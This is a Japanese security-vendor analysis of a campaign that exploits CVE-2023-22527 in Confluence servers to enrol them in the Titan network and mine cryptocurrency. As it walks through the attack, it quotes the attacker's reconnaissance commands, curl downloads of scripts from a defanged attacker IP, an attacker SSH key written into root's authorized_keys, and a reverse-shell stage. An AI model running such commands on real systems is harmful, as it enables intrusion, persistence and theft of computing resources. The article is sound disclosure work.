サイバー脅威
分散処理サービスを悪用しサーバのリソースを暗号資産マイニングに不正利用する攻撃
脆弱性「CVE-2023-22527」に未対処のAtlassian Confluenceサーバを分散型物理インフラネットワークである「Titanネットワーク」に加入させ、暗号資産マイニングのリソースとして不正利用する活動が展開されています。
- 脆弱性「CVE-2023-22527」を有するAtlassian Confluenceサーバにリモートから不正なコードを送りつけ、Titanネットワーク経由の暗号資産マイニングに不正利用する活動が展開されています。
- 攻撃者は、さまざまなシステムコマンドやIP照会サービスを利用し、標的端末の詳細情報を収集します。
- さらに攻撃者は、多数のシェルスクリプトを用いて標的システムにTitanのバイナリをインストールし、自身のIDを用いてTitanネットワークに接続させます。
- 被害に遭った端末は、Titanネットワーク内の「Cassini Testnet」の一部として取り込まれ、委託型プルーフ・オフ・ステークの報酬を得る活動に利用されます。
Confluenceサーバの脆弱性を突く不正な暗号資産マイニング
最近、Atlassian Confluenceサーバを暗号資産マイニングに不正利用する事例が発生しています。背後にいる攻撃者は、脆弱性「CVE-2023-22527」に未対処のConfluenceサーバを遠隔から操作し、「Titanネットワーク」に繋げることで、暗号資産マイニングのリソースとして不正利用します。Titanネットワークは、オープンソースによる分散型物理インフラネットワーク(DePIN)に相当し、ユーザ間で共有されるハードウェア・リソースを通して、計算処理やストレージ、通信帯域などのデジタルサービスを提供します。リソースの提供者は、金銭的インセンティブによる報酬を獲得できる一方、エンドユーザは、近代的なクラウド・プラットフォームに匹敵する高品質なサービスを享受できます。今回の攻撃者は、侵害した端末にTitanのエッジノード用バイナリをインストールすることで、報酬の奪取を目論んでいます。
攻撃の流れ
本攻撃に使用される脆弱性「CVE-2023-22527」は、未認証のテンプレート・インジェクションに相当します。その標的となったConfluenceサーバは、攻撃者から受信した不正なペイロードに含まれるコマンドを実行し、結果を応答ヘッダー「Cmd」に含めて返却します。今回の攻撃者は、はじめに標的システムにおけるカレントディレクトリ内のファイル情報を取得するため、コマンド「ls」を含むペイロードを送信し、返却された応答ヘッダー「Cmd」の中身を抽出します(図2)。
次に攻撃者は、図3に示す通り、コマンド「pwd」を用いてカレントディレクトリを確認します。
さらに攻撃者は、コマンド「ls /tmp」を用い、ディレクトリ「/tmp」配下のファイル一覧を取得します。また、コマンド「cat /etc/os-release」によってオペレーティングシステムの情報を、コマンド「uname -a」によって追加のシステム関連情報を取得します。その操作法は図4の時と同様であり、「exec({'実行対象コマンド'})」を含むペイロードを標的サーバに送りつける形で、当該コマンドをリモートから実行します。
この後、プロセスID「1」に対応するプロセス(Linuxシステムでは通常、「init」に相当)のコントロールグループ(cgroup)をチェックします。これは、Atlassian Confluenceサーバがコンテナ内で稼働しているかを判定するためと考えられます。cgroupの情報は、権限昇格にも使用される場合があります。
また、図4の時と同じ方式でリモートからコマンドを実行し、システムリソース関連の情報を取得します。例えば、コマンド「df -h」によってディスク空き容量を、コマンド「free -g」によってメモリ容量をチェックします。
以上に加え、攻撃者は、ファイルサーバ「3[.]39[.]22[.]13」からさまざまなスクリプトをダウンロードします。はじめに、「0」という名前のシェルスクリプトをダウンロードし、ディレクトリ「/tmp」の配下に「a0」の名前で保存します。ファイルに拡張子が付与されていないのは、拡張子に基づくセキュリティ検知の回避を意図したものと考えられます。
図6のリクエストでダウンロードされるシェルスクリプト「a0」は、同じサーバからアーカイブ「titan.tar.gz」をダウンロードします。さらに、そのアーカイブからELF実行形式のファイル「titan-edge」と「libgoworkerd.so」を抽出し、ディレクトリ「/tmp」の配下に配備します(図7)。
次に攻撃者は、別のシェルスクリプト「1」をダウンロードし、ディレクトリ「/tmp」の配下に「a1」の名前で保存します。ダウンロードのコマンドは下記の通りであり、「a0」の時(図6最下部)と同一形式となります。
curl -o /tmp/a1 3[.]39[.]22[.]13/1
スクリプト「a1」は、図8の通り、環境変数「LD_LIBRARY_PATH」を上書きする機能を備えています。しかし、「LD_LIBRARY_PATH」が「LD_LIZBRARY_PATH」と記載されている箇所があり、これが単純な誤植なのか、意図したものであるかは不明です。次に、Titanネットワークとの接続を初期化するため、「titan-edge」のデーモンを起動します。接続先の「Cassini Testnet」は、主に下記の2コンポーネントから構成されています。
- ブロックチェーン・ネットワーク:委託型プルーフ・オブ・ステーク(DPoS:Delegated Proof of Stake)の承認制度に基づき、ユーザはTTNTテストトークンを出資してブロックチェーンの管理や相互作用に参加することで、報酬を得る。
- リソース・ネットワーク:ハードウェア・リソースに余裕があるユーザは、Titanノードを稼働させることで、TNT3ポイントの報酬を得る。
続いて攻撃者は、別のシェルスクリプト「2」をダウンロードし、ディレクトリ「/tmp」の配下に「a2」の名前で保存します。ダウンロードコマンドは下記の通りであり、前回と同一の形式となります。
curl -o /tmp/a2 3[.]39[.]22[.]13/2
スクリプト「a2」は、先に「a0」が抽出したバイナリ「titan-egde」を3回に渡って呼び出します。最初の2回は、オプション「storage-size」と「storage-path」による設定を行います。3回目は、オプション「bind」を使用し、下記に示す攻撃者の認証コードを、標的端末のtitan-edgeに紐付けます(図9)。
08DA69AE-6E7C-43F2-A8D0-D97D7FF517A1
さらに攻撃者は、前回同様、別のシェルスクリプト「3」をダウンロードし、ディレクトリ「/tmp」の配下に「a3」の名前で保存します。ダウンロードコマンドは下記の通りです。
curl -o /tmp/a3 3[.]39[.]22[.]13/3
スクリプト「a3」は、titan-edgeのオプション「info」を使用してノードのIDを取得し、ファイル「info.log」に書き出します(図10)。
引き続き、攻撃者はさらに別のシェルスクリプト「4」をダウンロードし、ディレクトリ「/tmp」の配下に「a4」の名前で保存します。ダウンロードコマンドは、下記の通りです。
curl -o /tmp/a4 3[.]39[.]22[.]13/4
スクリプト「a4」は、titan-edgeのデーモンを停止します(図11)。
標的端末内に全ファイルをダウンロードした後、攻撃者はディレクトリ「/tmp」の内容を検証します(図12)。
検証後、攻撃者は図13の通り、ダウンロード済みのスクリプト「a0」を実行します。
先述の通り、スクリプト「a0」はアーカイブ「titan.tar.gz」をダウンロードし、そこからtitan-edgeのバイナリを抽出します。抽出結果を確認するため、攻撃者は下記コマンドを含むペイロードを別途送信し、ディレクトリ「/tmp」配下のファイル一覧を取得します。
ls -lh /tmp
続いて攻撃者は、残りのスクリプト(a1、a2、a3、a4)を実行します。これにより、Titanのバイナリが起動してTitanネットワークに接続し、攻撃者が保持するIDとの紐付け操作が行われます。以上の他に攻撃者は、追加のシェルスクリプト「5」、「6」、「7」をそれぞれ「a5」、「a6」、「a7」の名前で配備します。「a5」はフェイル・セーフの機能に相当し、「a0」によるファイルのダウンロードや抽出が失敗した場合に、代わってTitanの公式GitHubリポジトリから同じファイルをダウンロードします。
Titanネットワークへの接続後、攻撃者はスクリプト「a6」を起動することで、「aleo-pool」のクライアントをインストールします(図14)。本クライアントは、暗号資産マイニング用のプーリングサーバ「zkRush Pool」や「Aleo TestNet Beta」に接続する機能を有します。
「aleo-pool」のインストーラは、スクリプト「a7」によって起動されます。これにより、以下のプーリングサーバへの接続が行われます。
aleo[.]zkrush[.]com
以上の他にも、攻撃者のファイルサーバからさまざまなファイルが発見されました。その中には、AWS(Amazon Web Service)が提供するクラウドのSSH通信によって水平移動・内部活動を行う機能も見受けられました。例えばスクリプト「a8」は、SSHの公開鍵をRSA形式でダウンロードし、ルートユーザの以下の鍵情報ファイルに追記します。
/root/.ssh/authorized_keys
今回確認されたSSH公開鍵を、下記に示します。
“ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl+1YDRZdck+HOkzQwdAWzLkdn1Ws1jmgE9aC93iUuzJlpsMhKkkkziWozsYZrQv7j3Tx1QWtSZg8J5VxMmSY0MhzefdhTYZ0Pf9XYPlVsQiLkBTDeoKyyWZS4NwZBysSzE20/jq0Ke4tnFIEe39lP1OaIShLofktHKXsx0xUkfDxFMiDgw2nB4cXhATqdhC3nFQXl0wdlzih0/Yw+QlHoZbQ6/3kJIdw7kWL1N8GcAkjUtaRK6vONwluEi9HIyNsLVUVqS74v4NNRdKA8Rwdg8R5CQSRnzXaD3e+5tmFIkSzArIQQVktDt+Re6z4ZVYFfNfdjCxeqGTJLP6Yt/iE7 aaaaaa-1%”
ファイル「a9」は、SSH設定ファイルの修正版であり、現在の設定ファイルを書き換える目的で使用されるものと推測されます。修正版で目を引く内容として、下記の2項目(ディレクティブ)が記載されています(図17)。
- AuthorizedKeysCommand
- AuthorizedKeysCommandUser
上記の2項目は、「EC2 Instance Connect」の配備時に初期化、設定されるものです。SSHデーモンは、それを用いてインスタンスのメタデータから認証用の公開鍵を取得することで、EC2のインスタンスに接続できるようになります。
本調査では、「7」と名付けられたスクリプトの別バージョンが発見されました。本スクリプトは、遠隔操作用(C&C:Command and Control)サーバのポート番号「80」に向けて、TCP通信によるbashコマンドのリバースシェルを確立します(図18)。
まとめ
今回の攻撃者は、標的システムにおける偵察活動やペイロードの配備、永続化の手口を多段階に渡って行使し、侵害したサーバのリソースをTitanネットワークに取り込むことで、金銭的利益の獲得を目論んでいます。こうしたインシデントに対峙する上では、セキュリティパッチを最新の状態に保ち、ファイルやネットワークを厳密に監視し、強固なアクセス制御を取り入れることが重要です。
企業や組織では、「Trend Vision One™」などの強力なセキュリティ・ソリューションを導入することで、攻撃のリスクを大幅に削減することが可能です。本ソリューションは、高度な挙動検知や多層保護の機能によって不正なツールやサービスを早期にブロックし、端末やシステムへの損害を未然に防止します。
MITRE ATT&CK® Techniques
MITRE ATT&CK Tactics and Techniquesはこちらで確認してください。
侵入の痕跡(IoC:Indicators of Compromise)
詳細はこちらをご覧ください。
参考記事:
Attacker Abuses Victim Resources to Reap Rewards from Titan Network
By: Ranga Duraisamy, Sunil Bharti
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)